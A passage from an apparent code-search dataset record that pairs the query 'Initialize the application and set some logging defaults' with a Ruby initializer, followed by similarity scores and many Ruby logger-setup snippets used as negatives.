else\n self.time = 0 \n end\n \n # This is required as the call_back will fail if false is returned.\n nil\n \n end", "def create\n self[:created] = Time.now.to_s\n save\n end", "def setup_start_at\n return unless start_at.blank?\n \n self.start_at = Time.now\n end", "def setup_start_at\n return unless start_at.blank?\n \n self.start_at = Time.now\n end", "def create_time(); @create_time; end", "def date\n time_table_date || @date\n end", "def spent_on=(date)\n super\n self.tyear = spent_on ? spent_on.year : nil\n self.tmonth = spent_on ? spent_on.month : nil\n self.tweek = spent_on ? spent_on.cweek : nil\n end", "def time_hour; Time.now.hour; end", "def initialize(with_time=true)\n @with_time\n @day = Day.new # the time schedule for the mechanic\n end", "def reset_date_for_time_now\n reset_date_for_time Time.now\n end" ]
[ "0.7263866", "0.6965258", "0.68442285", "0.6800099", "0.6800099", "0.66669124", "0.6644802", "0.66325504", "0.6598424", "0.6576433", "0.65302515", "0.65155363", "0.64979327", "0.6481615", "0.64141273", "0.63075936", "0.6305939", "0.62852967", "0.6196106", "0.6191236", "0.6180802", "0.61737967", "0.6140531", "0.61325127", "0.6110639", "0.60932285", "0.60781777", "0.6062983", "0.60480005", "0.604088", "0.604088", "0.60381705", "0.59927946", "0.5951424", "0.5940347", "0.59355867", "0.59118015", "0.5893611", "0.5893309", "0.58791953", "0.5874254", "0.5872484", "0.58704156", "0.5867552", "0.58649397", "0.58637196", "0.5860967", "0.58538514", "0.5839504", "0.5822327", "0.5808996", "0.58069134", "0.5805172", "0.57886827", "0.5786436", "0.5778967", "0.5776294", "0.5775946", "0.5775786", "0.5768599", "0.5767677", "0.576482", "0.5763474", "0.57576996", "0.57519567", "0.5746289", "0.5738083", "0.57368726", "0.5727155", "0.57271284", "0.57235277", "0.572099", "0.5720797", "0.5720733", "0.5703866", "0.56999093", "0.56940705", "0.5684023", "0.56827754", "0.5679558", "0.5677804", "0.5673696", "0.56720006", "0.5669081", "0.5662651", "0.5657115", "0.5654233", "0.5653276", "0.56520754", "0.56516755", "0.56467974", "0.56436896", "0.56424075", "0.5639184", "0.5639184", "0.5635751", "0.5634994", "0.5631007", "0.56289977", "0.56276584", "0.5625963" ]
0.0
-1
Initialize the application and set some logging defaults
def initialize(*) super the_shell = (options['no-color'] ? Thor::Shell::Basic.new : shell) @ui = Shell.new(the_shell) @ui.be_quiet! if options['quiet'] @ui.debug! if options['verbose'] debug_header end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def init_logging\n app_name = ENV[\"APP_NAME\"] || \"calcentral\"\n format = PatternFormatter.new(:pattern => \"[%d] [%l] [CalCentral] %m\")\n\n Rails.logger = Log4r::Logger.new(app_name)\n Rails.logger.level = DEBUG\n Rails.logger.outputters = init_file_loggers(app_name, format)\n\n stdout = Outputter.stdout #controlled by Settings.logger.level\n stdout.formatter = format\n # level has to be set in the logger initializer, after Settings const is initialized.\n # see initializers/logging.rb\n Rails.logger.outputters << stdout\n end", "def initialize\n @logger = RubyConfigr::AppLogger.get_logger();\n end", "def log_startup\n log_environment\n log_dispatcher\n log_app_name\n end", "def init\n Logging.logger.root.level = :debug\n Logging.logger.root.add_appenders(\n Logging.appenders.stdout(\n :backtrace => false,\n :level => @config[:verbose] ? :debug : :info,\n :layout => Logging.layouts.pattern(:pattern => STDOUT_PATTERN)\n ),\n Logging.appenders.rolling_file(\n @log_file,\n :backtrace => true,\n :level => :debug,\n :layout => Logging.layouts.pattern(:pattern => LOG_FILE_PATTERN)\n )\n )\n Logging.mdc['client'] = 'server'\n end", "def initialize\n Logging.setup(Logger::INFO)\n end", "def initialize(*args)\n parse_options(*args)\n set_log_level\n @@application = self\n end", "def setup\n self.logger.reopen(File.open(File.join(Lokii::Config.root, Lokii::Config.log), \"a\")) if daemon? && self.logger\n self.logger ||= ::Logger.new(File.join(Lokii::Config.root, Lokii::Config.log))\n end", "def initialize( )\n ::Logging.init unless ::Logging.initialized?\n\n @name = 'root'\n @appenders = []\n @additive = false\n @caller_tracing = false\n @level = 0\n ::Logging::Logger.define_log_methods(self)\n end", "def post_init\n # puts 'Syslogger initialized'\n end", "def init(*opts)\n if opts.length == 0\n @logger = Logger.new(STDOUT)\n else\n @logger = Logger.new(*opts)\n end\n @logger.formatter = Ohai::Log::Formatter.new()\n level(Ohai::Config.log_level)\n end", "def init_logger \n if not Object.const_defined?(get_rails_default_logger_name)\n Logger.new(STDOUT)\n else\n eval(get_rails_default_logger_name)\n end \n end", "def init\n Config.load_yaml\n Log.init\n reset\n end", "def initialize\n @log = Logging::Logger[self]\n @options = self.default_options\n end", "def initialize(program_name = 'rails')\n @level = Logger::DEBUG\n\n return if defined? SYSLOG\n self.class.const_set :SYSLOG, Syslog.open(program_name)\n end", "def init_rails!\n log_level = (\"ActiveSupport::BufferedLogger::Severity::\"+Rails::Application.config.log_level.to_s.upcase).constantize\n @logger = ActiveSupport::BufferedLogger.new(File.join(Rails.root, \"log\", \"#{@name.underscore}.log\"), log_level)\n\n #NOTE/TODO: I noticed in the Rails docs, they will eventually make ActionView use a seperate logger\n # than ActionController, so this will eventually need to be added in here\n [Rails, ActiveRecord::Base, ActionController::Base, ActionMailer::Base].each do |logged_module|\n #just in case there is a logger there, close it\n logged_module.logger.close rescue nil\n logged_module.logger = @logger\n end\n\n #reestablish db connection\n ActiveRecord::Base.establish_connection\n end", "def setup_common\n options[:log].each do |spec|\n mod, level, file = spec.split(\":\")\n app.log_setup(mod, level, file)\n end\n\n if options[:debug]\n app.public_logs = true\n app.filter_backtraces = false\n require \"roby/app/debug\"\n end\n\n nil\n end", "def initLogger()\n\tconfig = FileUtil.loadjson(File.dirname(__FILE__) + '/utilcfg.json')\n\tif config.key?('log.path')\n\t\tlpath = config['log.path']\n\t\tunless File.file?(lpath)\n\t\t\tdpath = lpath.gsub(/[^\\/]+$/,'')\n\t\t\tDir.mkdir(dpath) unless Dir.exist?(dpath)\n\t\tend\n\t\tif config.key?('log.interval')\n\t\t\t$logger = Logger.new(lpath, config['log.interval'])\n\t\telse\n\t\t\t$logger = Logger.new(lpath)\n\t\tend\n\tend\n\tLogUtil.setformatter\n\tLogUtil.setloglevel(config['log.level'])\nend", "def set_up_logging\n\n if @parameters[:log_to_file] then\n\n @logger = Logger.new(@parameters[:log_to_file])\n\n else\n\n @logger = Logger.new(STDOUT)\n\n end\n\n if @parameters[:log_detailed_messages] then\n \n @logger.sev_threshold = Logger::DEBUG\n\n else\n\n @logger.sev_threshold = Logger::INFO\n\n end\n\n end", "def initialize(appname = nil)\n @appname = appname\n @log = Logger.new(STDERR)\n @log.progname = @appname\n @level = @log.level\n end", "def initialize(*args)\n @init_args = args\n set_log(*args)\n end", "def init!\n @logger = @config = @database_config = nil\n\n load_application_config\n load_database_config\n note \"Loading #{env} environment (#{Ajaila::VERSION})\"\n load_classes\n note \"Establishing database connection\"\n establish_database_connection\n note \"Running auto-upgrade migrations\"\n run_auto_upgrade_migrations\n note \"Application has been initialized\"\n self\n end", "def initialize\n @logProvider = DefaultLogger.new\n end", "def initialize(*args)\n # Handle default\n if args.empty?\n args = [STDOUT]\n end\n\n # Initialization\n @default_level = Logger::Severity::INFO\n @formatter = ::TeeLogger::Formatter.new\n @loggers = {}\n @ios = {}\n\n # Load built-in filters\n load_filters(*args)\n\n # Create logs for all arguments\n args.each do |arg|\n add_logger(arg)\n end\n end", "def enable_logging\n initialize_logger\n end", "def init_logger\n l = Logger.new(STDOUT)\n l.level = Logger::INFO\n Log.logger = l\nend", "def configure_logging\n Backdat::Log.init(Backdat::Config[:log_location])\n if ( Backdat::Config[:log_location] != STDOUT ) && STDOUT.tty? &&\n ( !Backdat::Config[:daemonize] )\n stdout_logger = Logger.new(STDOUT)\n STDOUT.sync = true\n stdout_logger.formatter = Backdat::Log.logger.formatter\n Backdat::Log.loggers << stdout_logger\n end\n Backdat::Log.level = Backdat::Config[:log_level]\n end", "def initialize_logger()\n case logger_type\n when :local\n log_path = File.join(RAILS_ROOT, 'log', \"#{config_basename}.log\")\n system(\"cat /dev/null > #{log_path}\")\n ActiveSupport::BufferedLogger.new(log_path)\n when :remote\n RemoteLogger.new(config_basename, File.join(RAILS_ROOT, 'log'), proc_id)\n when :stderr\n logger = ActiveSupport::BufferedLogger.new($stderr)\n logger.auto_flushing = true\n logger\n else\n raise ArgumentError, \"logger_type must be :local,:remote or :stderr\"\n end\n end", "def initialize_logger()\n case logger_type\n when :local\n log_path = File.join(RAILS_ROOT, 'log', \"#{config_basename}.log\")\n system(\"cat /dev/null > #{log_path}\")\n ActiveSupport::BufferedLogger.new(log_path)\n when :remote\n RemoteLogger.new(config_basename, File.join(RAILS_ROOT, 'log'), proc_id)\n when :stderr\n logger = ActiveSupport::BufferedLogger.new($stderr)\n logger.auto_flushing = true\n logger\n else\n raise ArgumentError, \"logger_type must be :local,:remote or :stderr\"\n end\n end", "def initialize_logger()\n case logger_type\n when :local\n log_path = File.join(RAILS_ROOT, 'log', \"#{config_basename}.log\")\n system(\"cat /dev/null > #{log_path}\")\n ActiveSupport::BufferedLogger.new(log_path)\n when :remote\n RemoteLogger.new(config_basename, File.join(RAILS_ROOT, 'log'), proc_id)\n when :stderr\n logger = ActiveSupport::BufferedLogger.new($stderr)\n logger.auto_flushing = true\n logger\n else\n raise ArgumentError, \"logger_type must be :local,:remote or :stderr\"\n end\n end", "def configure_logging\n if env[:lager]\n env[:lager][:handlers] = {\n :lager_console_backend => :info,\n :lager_file_backend => [\n Tuple[(log + \"error.log\").expand_path.to_s, :error],\n Tuple[(log + \"console.log\").expand_path.to_s, :info]\n ]\n }\n env[:lager][:crash_log] = (log + \"crash.log\").to_s\n else\n # TODO: Need a better way to detect this, the defaults point\n # to 1.0-style configs. Maybe there should be some kind of\n # detection routine.\n # Use sasl error logger for 0.14.\n env[:riak_err] ||= {\n :term_max_size => 65536,\n :fmt_max_bytes => 65536\n }\n env[:sasl] = {\n :sasl_error_logger => Tuple[:file, (log + \"sasl-error.log\").expand_path.to_s],\n :errlog_type => :error,\n :error_logger_mf_dir => (log + \"sasl\").expand_path.to_s,\n :error_logger_mf_maxbytes => 10485760,\n :error_logger_mf_maxfiles => 5\n }\n end\n vm['-env ERL_CRASH_DUMP'] = (log + 'erl_crash.dump').to_s\n end", "def setup_logging\n require 'logger'\n if @telnet_options[:output_log]\n @output_logger = Logger.new @telnet_options[:output_log]\n log_output \"\\n# Starting telnet output log at #{Time.now}\"\n end\n\n if @telnet_options[:command_log]\n @command_logger = Logger.new @telnet_options[:command_log]\n end\n end", "def configure_logging\n @logger = Logging.logger[self]\n end", "def init(*opts)\n reset!\n @logger = logger_for(BeanStalk::Worker::Config[:log_location])\n if @logger.respond_to?(:formatter=)\n if BeanStalk::Worker::Config[:log_formatter].eql?(:json)\n @logger.formatter = Mixlib::Log::JSONFormatter.new()\n else\n @logger.formatter = Mixlib::Log::Formatter.new()\n end\n end\n @logger.level = Logger.const_get(\n BeanStalk::Worker::Config[:log_level].to_s.upcase)\n @logger\n end", "def initialize(env)\n # get log level (default to \"warn\" if unspecified)\n log_level = (env.get('LOG_LEVEL', DEFAULT_LEVEL)).upcase\n\n # create logger from log path (default to STDERR)\n super(env.get('LOG_PATH', STDERR))\n\n # set log level (default to WARN)\n self.level = ::Logger.const_get(log_level)\n\n # log level\n info('Env::Log#initialize') do\n 'level = %p' % [log_level]\n end\n end", "def setup_logging( level=Logger::FATAL )\n\n\t\t# Turn symbol-style level config into Logger's expected Fixnum level\n\t\tif RoninShell::Loggable::LEVEL.key?( level )\n\t\t\tlevel = RoninShell::Loggable::LEVEL[ level ]\n\t\tend\n\n\t\tlogger = Logger.new( $stderr )\n\t\tRoninShell.logger = logger\n\t\tRoninShell.logger.level = level\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tThread.current['logger-output'] = []\n\t\t\tlogdevice = ArrayLogger.new( Thread.current['logger-output'] )\n\t\t\tRoninShell.logger = Logger.new( logdevice )\n\t\t\t# RoninShell.logger.level = level\n\t\t\tRoninShell.logger.formatter = RoninShell::HtmlLogFormatter.new( logger )\n\t\tend\n\tend", "def initialize\n\t\t@@logger = OMLogger.getLogger(DataHelper.name)\n\tend", "def initialize(options = {})\n color = options[:color]\n\n @loggers = []\n @loggers << @logdev = logdev_logger(options[:logdev]) if options[:logdev]\n @loggers << stdout_logger(options[:stdout], color) if options[:stdout]\n @loggers << stdout_logger($stdout, color) if @loggers.empty?\n\n self.progname = options[:progname] || 'Omnitest'\n self.level = options[:level] || default_log_level\n end", "def initialize app, logger: nil\n @app = app\n @logger = logger\n end", "def on_app_initializing(_event)\n info \"Initializing Karafka framework #{::Process.pid}\"\n end", "def init(opts = {})\n opts[:root] ||= RAILS_ROOT.to_s if defined?(RAILS_ROOT)\n opts[:env] ||= RAILS_ENV if defined?(RAILS_ENV)\n opts[:config_file] ||= \"#{opts[:root]}/config/log4r.yml\"\n opts[:log_file] ||= \"#{opts[:root]}/log/#{opts[:env]}.log\"\n opts[:monitor_enabled] = true unless opts[:monitor_enabled] == false\n opts[:monitor_interval] ||= 60\n\n raise \"Lumber.init missing one of :root, :env\" unless opts[:root] && opts[:env]\n\n cfg = Log4r::YamlConfigurator\n opts.each do |k, v|\n cfg[k.to_s] = v.to_s\n end\n cfg['hostname'] = Socket.gethostname\n\n cfg.load_yaml_file(opts[:config_file])\n\n self.logger_concern = opts[:logger_concern] if opts[:logger_concern]\n\n # Workaround for rails bug: http://dev.rubyonrails.org/ticket/8665\n if defined?(RAILS_DEFAULT_LOGGER)\n Object.send(:remove_const, :RAILS_DEFAULT_LOGGER)\n end\n Object.const_set('RAILS_DEFAULT_LOGGER', find_or_create_logger(BASE_LOGGER))\n\n Lumber::InheritanceRegistry.clear\n\n if opts[:monitor_store]\n # Setting to Rails.cache handled by a post initialize_cache rails initializer\n # since Rails.cache is not available when lumber is initialized\n LevelUtil.cache_provider = opts[:monitor_store]\n end\n LevelUtil.start_monitor(opts[:monitor_interval]) if opts[:monitor_enabled]\n end", "def on_app_initializing(_event)\n info 'Initializing Karafka framework'\n end", "def configure_logger!\n if config[:debug] || !ENV[\"DEBUG\"].to_s.empty?\n Bogo::Logger.logger.level = :debug\n else\n Bogo::Logger.logger.level = config.fetch(:log, :fatal)\n end\n end", "def configure_chef\n ChefConfig.logger = ChefRun::Log\n # Setting the config isn't enough, we need to ensure the logger is initialized\n # or automatic initialization will still go to stdout\n Chef::Log.init(ChefRun::Log)\n Chef::Log.level = ChefRun::Log.level\n end", "def init()\n @end_reg = /\\*+\\s*End testing\\s*\\*+/\n @start_reg = /\\*+\\s*Start testing\\s*\\*+/\n @test_logger = ::Logger.new(STDOUT)\n @test_logger.formatter = proc {|_severity, _datetime, _progname, msg|\n \"%s\\n\\r\" % [msg]\n }\n @in_tests = false\n @logs = []\n end", "def builder_setup\n @result = Log4r::Logger['Mauve'] || Log4r::Logger.new('Mauve')\n @default_format = nil\n @default_level = Log4r::RootLogger.instance.level\n end", "def setup_logging( level=Logger::FATAL )\n\n\t\t# Turn symbol-style level config into Logger's expected Fixnum level\n\t\tif Mongrel2::Logging::LOG_LEVELS.key?( level.to_s )\n\t\t\tlevel = Mongrel2::Logging::LOG_LEVELS[ level.to_s ]\n\t\tend\n\n\t\tlogger = Logger.new( $stderr )\n\t\tMongrel2.logger = logger\n\t\tMongrel2.logger.level = level\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tThread.current['logger-output'] = []\n\t\t\tlogdevice = ArrayLogger.new( Thread.current['logger-output'] )\n\t\t\tMongrel2.logger = Logger.new( logdevice )\n\t\t\t# Mongrel2.logger.level = level\n\t\t\tMongrel2.logger.formatter = Mongrel2::Logging::HtmlFormatter.new( logger )\n\t\tend\n\tend", "def init_logger(settings)\n settings[:VERSION] = `rake runerb:get_version`.chomp.gsub!('\"', '')\n FileUtils.mkdir_p(\"#{FileUtils.pwd}/assets/log\")\n settings[:LOG_FILE_PATH] = \"#{FileUtils.pwd}/assets/log/rune_rb-#{Time.now.strftime('%Y-%m-%d').chomp}.log\".freeze\n settings[:LOG_FILE] = Logger.new(settings[:LOG_FILE_PATH], progname: \"rune.rb-#{settings[:VERSION]}\")\n settings[:LOG] = Logger.new(STDOUT)\n settings[:COLOR] = Pastel.new\n settings[:LOG].formatter = proc do |sev, date, _prog, msg|\n \"#{settings[:COLOR].green.bold(\"[#{date.strftime('%H:%M')}]\")}|#{settings[:COLOR].blue(\"[#{sev}]\")} : #{msg}\\n\"\n end\n end", "def initialize\n @log = Logger.new(STDOUT)\n @log.level = Logger::INFO\n self.load_config\n self.init_settings\n @assemblers = []\n self.load_assemblers\n end", "def init_logger\n self.log4r_config = load_file_config('log4r.yml')\n\n if log4r_config\n Log4r::YamlConfigurator.decode_yaml(log4r_config['log4r_config'])\n\n environments = log4r_config['log4r_config']['loggers'].map do |logger|\n logger['name']\n end\n\n if environments.include?(run_env)\n self.logger = Log4r::Logger[run_env]\n else\n self.logger = Log4r::Logger['development']\n end\n else\n self.logger = Log4r::Logger.new(run_env)\n self.logger.level = Log4r::DEBUG\n self.logger.add Log4r::Outputter.stdout\n self.logger.warn\n \"Log4r configuration file #{full_config_path('log4r.yml')} not found.\"\n self.logger.info \"Log4r outputting to stdout with DEBUG level.\"\n end\n end", "def initialize\n super\n \n run_hook :before_configuration\n \n # Search the root of the project for required files\n $LOAD_PATH.unshift(root)\n \n # Check for and evaluate local configuration\n local_config = File.join(root, \"config.rb\")\n if File.exists? local_config\n puts \"== Reading: Local config\" if logging?\n instance_eval File.read(local_config)\n end\n \n run_hook :build_config if build?\n run_hook :development_config if development?\n \n run_hook :after_configuration\n \n # Add in defaults\n default_extensions.each do |ext|\n activate ext\n end\n \n if logging?\n self.class.extensions.each do |ext|\n puts \"== Extension: #{ext}\"\n end\n end\n end", "def initialize(opt)\n raise ArgumentError unless opt.kind_of? Hash\n @config = {\n confdir: File.dirname(__FILE__) + '/../etc',\n logger: Logger.new('/dev/null'),\n site: nil,\n }.merge(opt)\n \n @log = @config[:logger]\n @log.level = Logger::DEBUG\n @log.debug \"starting log\"\n\n check_sanity\n @config.each { |k,v| instance_variable_set(\"@#{k}\", v) }\n\n #TODO:@wato = Check_MK::Wato.new(@confdir)\n end", "def set_up_global_logger(verbose = 0)\n case verbose\n when -1\n console_log_level = :error\n when 0\n console_log_level = :notice\n when 1\n console_log_level = :info\n when 2\n console_log_level = :debug\n else\n console_log_level = :trace # developer debug\n end\n logger.levels(console_log_level)\n end", "def init_logger\n log = Log4r::Logger.new(STANDARD_LOGGER)\n log.trunc = true\n\n # sanity checks since we defined log4r's dynamic levels statically\n unless (Log4r::DEBUG == DEBUG) &&\n (Log4r::INFO == INFO) &&\n (Log4r::WARN == WARN) &&\n (Log4r::ERROR == ERROR) &&\n (Log4r::FATAL == FATAL)\n raise \"Logger levels do not match Log4r levels, levels may have been customized\"\n end\n\n Log4r::Logger[STANDARD_LOGGER].level = ERROR\n Log4r::Logger[STANDARD_LOGGER].trace = true\n\n Log4r::StderrOutputter.new :console\n Log4r::Outputter[:console].formatter = Log4r::PatternFormatter.new(:pattern => \"[%l] %m\")\n log.add(:console)\n end", "def initialize(logger=Logger.new(STDERR))\n setup_signals\n @logger = logger\n @logger.level = level_from_env || Logger::INFO\n end", "def configure_logging\n Chef::Log.logger = AuditLogger.new(sensitive_inputs)\n Chef::Log.logger.level = Log.level_from_sym(Log.level)\n end", "def initialize_log\n if @configuration[:debug].nil?\n @logger = Yell.new format: Yell::ExtendedFormat do |l|\n l.adapter :datefile, 'send.log'\n l.adapter STDOUT\n end\n else\n @logger = Yell.new format: Yell::ExtendedFormat do |l|\n l.adapter :datefile, 'test.log'\n l.adapter STDOUT\n end\n end\n end", "def configure_chef\n ChefConfig.logger = ChefCLI::Log\n # Setting the config isn't enough, we need to ensure the logger is initialized\n # or automatic initialization will still go to stdout\n Chef::Log.init(ChefCLI::Log)\n Chef::Log.level = ChefCLI::Log.level\n end", "def initialize\n @log = Logging::Logger[self]\n end", "def reset_config!\n self.log = true\n self.logger = ::Logger.new STDOUT\n self.log_level = :debug\n self.raise_errors = true\n end", "def initialize(init_options={})\n @options = Sunnytrail.options.merge(init_options)\n start_logger if verbose?\n raise ConfigurationError, \"API KEY not set\" if @options[:api_key].nil?\n end", "def initialize\n self.logger = Logger.new(STDOUT)\n reset!\n end", "def initialize\n @logger = ::Logger.new(STDOUT)\n self.level = :info\n end", "def setup\r\n $LOG = Logger.new(STDERR)\r\n $LOG.level = Logger::DEBUG\r\n @baseDir = File.dirname(__FILE__)\r\n @dataDir = File.join(@baseDir, \"data\")\r\n \r\n end", "def initialize()\n @log = {}\n end", "def initialize\n @logger = Logging::Logger[self]\n end", "def initialize(options = {})\n\n # If there's no logger, let's get it setup.\n @logger = Logger.new(STDOUT) if !@logger\n\n end", "def setup_logging( level=:fatal )\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tlogarray = []\n\t\t\tThread.current['logger-output'] = logarray\n\t\t\tLoggability.output_to( logarray )\n\t\t\tLoggability.format_as( :html )\n\t\t\tLoggability.level = :debug\n\t\telse\n\t\t\tLoggability.level = level\n\t\tend\n\tend", "def initialize(options = {})\n\t\t\t@logger = Logger.new(STDOUT)\n\t\t\t@logger.level = Logger::INFO\n\t\tend", "def init_logs\n begin\n if !@cloud.log_directory.nil?\n node_log_file = @cloud.log_directory + \"/#{@name.to_s}.log\"\n if !File.exists?(node_log_file)\n File.new(node_log_file, \"a+\")\n @log_file = node_log_file\n @logger.info \"Created #{node_log_file}\"\n end\n outputter = Log4r::FileOutputter.new(\"#{@name.to_s}-file\", :formatter => FileFormatter.new, :filename => node_log_file, :truncate => false)\n @logger.add(outputter)\n end\n rescue RuntimeError => rerr\n if !rerr.message.eql?(\"Maestro not configured correctly. Either RAILS_ROOT, Rails.root, or ENV['MAESTRO_DIR'] must be defined\")\n @logger.error \"Unexpected Error\"\n @logger.error rerr\n end\n rescue SystemCallError => syserr\n @logger.error \"Error creating Node log file\"\n @logger.error syserr\n rescue StandardError => serr\n @logger.error \"Unexpected Error\"\n @logger.error serr\n end\n end", "def initialize\n super\n configure_logging\n detect_platform()\n detect_resolver()\n load_config()\n end", "def setup_logging( level=Logger::FATAL )\n\n\t\t# Turn symbol-style level config into Logger's expected Fixnum level\n\t\tif Treequel::LOG_LEVELS.key?( level.to_s )\n\t\t\tlevel = Treequel::LOG_LEVELS[ level.to_s ]\n\t\tend\n\n\t\tlogger = Logger.new( $stderr )\n\t\tTreequel.logger = logger\n\t\tTreequel.logger.level = level\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tThread.current['logger-output'] = []\n\t\t\tlogdevice = ArrayLogger.new( Thread.current['logger-output'] )\n\t\t\tTreequel.logger = Logger.new( logdevice )\n\t\t\t# Treequel.logger.level = level\n\t\t\tTreequel.logger.formatter = Treequel::HtmlLogFormatter.new( logger )\n\t\tend\n\tend", "def start_logger\n if config && config[:log] == \"file\" && config.log_file_path\n start_file_logger(config.log_file_path)\n else\n start_stdout_logger\n end\n\n logger.level =\n if config\n config.log_level\n else\n Appsignal::Config::DEFAULT_LOG_LEVEL\n end\n logger << @in_memory_log.string if @in_memory_log\n end", "def initialize\n @logger = Logger.new(STDOUT)\n super(@logger)\n end", "def init\n self['env'] ||= 'development'\n\n n = (self['port'] || 3000).to_i\n assert n >= 0 && n <= 65535\n self['port'] = n\n\n n = (self['workers'] || self['worker'] || ((CpuCounter.count + 1)/ 2)).to_i\n assert n > 0 && n < 1000\n self['workers'] = n\n\n unless self['root']\n set :root, Dir.pwd\n end\n self['root'] = File.realpath File.expand_path self['root']\n\n # todo warn paths not under project?\n self['views'] = project_path(self['views'] || 'views')\n if self['public']\n self['public'] = project_path(self['public'])\n end\n\n if self['assets']\n self['assets'] = project_path(self['assets'])\n end\n\n self.logger = create_logger\n\n assert !self['before_fork'] || self['before_fork'].respond_to?('call')\n assert !self['after_fork'] || self['after_fork'].respond_to?('call')\n\n self['timeout'] ||= 120\n timeout = self['timeout'].to_i\n assert timeout > 0 && timeout < 2**30\n self['timeout'] = timeout\n Ext.set_inactive_timeout timeout\n end", "def initialize(project_root_path)\n @project_root_path = project_root_path\n\n @log ||= Logger.new(\"#{local_log_dir}/#{WATCHER_LOG_FILE}\")\n @log.level = Logger::DEBUG\n\tend", "def initialize(app_id)\n @app_id = app_id\n @iterations = 1 # Default to a single iteration\n @base_dir = Dir.pwd\n time = Time.new\n @log_dir = 'monkey_logs' + time.strftime('%Y%m%d_%H%M%S')\n @logger = Logger.new(STDOUT)\n @logger.formatter = proc do |severity, datetime, _progname, msg|\n \"#{severity}|#{datetime}: #{msg}\\n\"\n end\n end", "def start_logger\n @appium_logger = ::Logger.new(Maze.config.appium_logfile)\n @appium_logger.datetime_format = '%Y-%m-%d %H:%M:%S'\n end", "def initialize\n @logger = Logger.new('cf_flattener.log')\n end", "def configure_logging(loglevel=:debug)\n Kitchenplan::Log.init(Logger.new(STDOUT))\n Kitchenplan::Log.level = loglevel\n end", "def initialize(app, &block)\n\n @app = app\n\n set Footprint::Log::Basic, STDOUT\n\n @app.class.send(:define_method, :logger,\n Proc.new do\n @env[:footprint_logger]\n end)\n\n self.instance_eval &block if block\n end", "def init(identity = nil, path = nil)\n unless @initialized\n @initialized = true\n @level_frozen = false\n logger = nil\n\n if @log_to_file_only || RightLinkConfig[:platform].windows?\n if path\n file = File.join(path, \"nanite.#{identity}.log\")\n else\n file = STDOUT\n end\n logger = Logger.new(file)\n logger.formatter = Formatter.new\n else\n logger = SyslogLogger.new(@program_name || identity || 'RightLink')\n end\n\n @logger = Multiplexer.new(logger)\n self.level = :info\n end\n @logger\n end", "def initialize logger = Nacreon.log\n\t\t\tself.log = logger\n\t\tend", "def rel_init\n if ENV.has_key? \"LOG_TO_CONSOLE\"\n puts \"Logging to console\"\n else\n log = File.open(\"/home/pstickne/el4rlog\", \"w+\")\n log.sync = true\n STDERR.reopen(log)\n end\n\n STDOUT.sync = true\n # require 'stringio'\n # prevent side-effects\n # io_out = ::STDOUT\n # Object.class_eval {remove_const :STDOUT}\n # ::STDOUT = StringIO.new\n \n $server = Rel::Server.new(STDIN, STDOUT, STDERR)\n $server.start\nend", "def setup\n @logger.info \"initializing the supervisor\"\n end", "def setup_application!\n return if @_configured\n self.register_framework_extensions\n self.calculate_paths\n self.register_initializers\n self.require_load_paths\n self.disable :logging # We need do that as default because Sinatra use commonlogger.\n I18n.load_path += self.locale_path\n I18n.reload!\n @_configured = true\n end", "def initialize(logdevs = {}, progname = nil, shift_age = 0, shift_size = 1_048_576)\n super(nil, shift_age, shift_size)\n @progname = progname\n @shift_age = shift_age\n @shift_size = shift_size\n @lowest_level = DEFAULT_LEVEL\n configure_logs(logdevs)\n end", "def initialize\n self.class.output_to_stdout\n if $DEBUG\n self.class.set_level :debug\n else\n self.class.set_level :info\n end\n end", "def initialize options\n log_file = options['file'] || default_log_file\n @logger = Logger.new log_file\n end", "def initialize\n @logger = BikeIn::Common::CustomLogger.new self.to_s\n end", "def bootstrap_init\n end", "def set_log(logdev, shift_age = 0, shift_size = 1024000)\n @log = Logger.new(logdev, shift_age, shift_size)\n @log.progname = @appname\n @log.level = @level\n end", "def configure_logger\n logger.silent = silent?\n logger.colored = ansi?\n if verbose?\n logger.verbose = verbose?\n log 'Verbose mode is enabled.'\n end\n end", "def initialize(app, logger)\n @app = app\n @logger = logger\n end", "def initialize(app, logger)\n @app = app\n @logger = logger\n end", "def initialize(options={})\n self.config_file = options[:config_file] || 'config/librato.yml'\n super()\n self.log_prefix = '[librato-rails] '\n end", "def initialize(app, logger:)\n @app = app\n @logger = logger\n end", "def initialize\n log_path = @@log[:path] + 'one2influx.log'\n begin\n $LOG = Logger.new(log_path, 'daily', 30)\n rescue Exception => e\n raise \"Unable to create log file. #{e.message}\"\n end\n $LOG.level = @@log[:level]\n\n convert_to_sec\n prepare_storage_ids\n prepare_vm_config\n end", "def startup_log\n return if ENV['SPLITCLIENT_ENV'] == 'test'\n\n @logger.info(\"Loaded Ruby SDK v#{VERSION} in the #{@mode} mode\")\n @logger.info(\"Loaded cache class: #{@cache_adapter.class}\")\n end", "def setup_logger\n logger = Log4r::Logger.new('drbman')\n logger.outputters = Log4r::StdoutOutputter.new(:console)\n Log4r::Outputter[:console].formatter = Log4r::PatternFormatter.new(:pattern => \"%m\")\n logger.level = Log4r::DEBUG\n logger.level = Log4r::INFO\n logger.level = Log4r::WARN if @user_choices[:quiet]\n logger.level = Log4r::DEBUG if @user_choices[:debug]\n # logger.trace = true\n logger\n end", "def initialize\n set_root_path!\n \n self.frameworks = default_frameworks\n self.autoload_paths = default_autoload_paths\n self.autoload_once_paths = default_autoload_once_paths\n self.dependency_loading = default_dependency_loading\n self.eager_load_paths = default_eager_load_paths\n self.log_path = default_log_path\n self.log_level = default_log_level\n self.binder_paths = default_binder_paths\n self.marshal_path = default_marshal_path\n self.cache_classes = default_cache_classes\n self.whiny_nils = default_whiny_nils\n self.database_configuration_file = default_database_configuration_file\n self.app_config_file = default_app_config_file\n self.plugin_glob = default_plugin_glob\n self.helper_glob = default_helper_glob\n self.initializer_glob = default_initalizer_glob\n self.first_run_glob = default_first_run_glob\n self.publisher = default_publisher\n 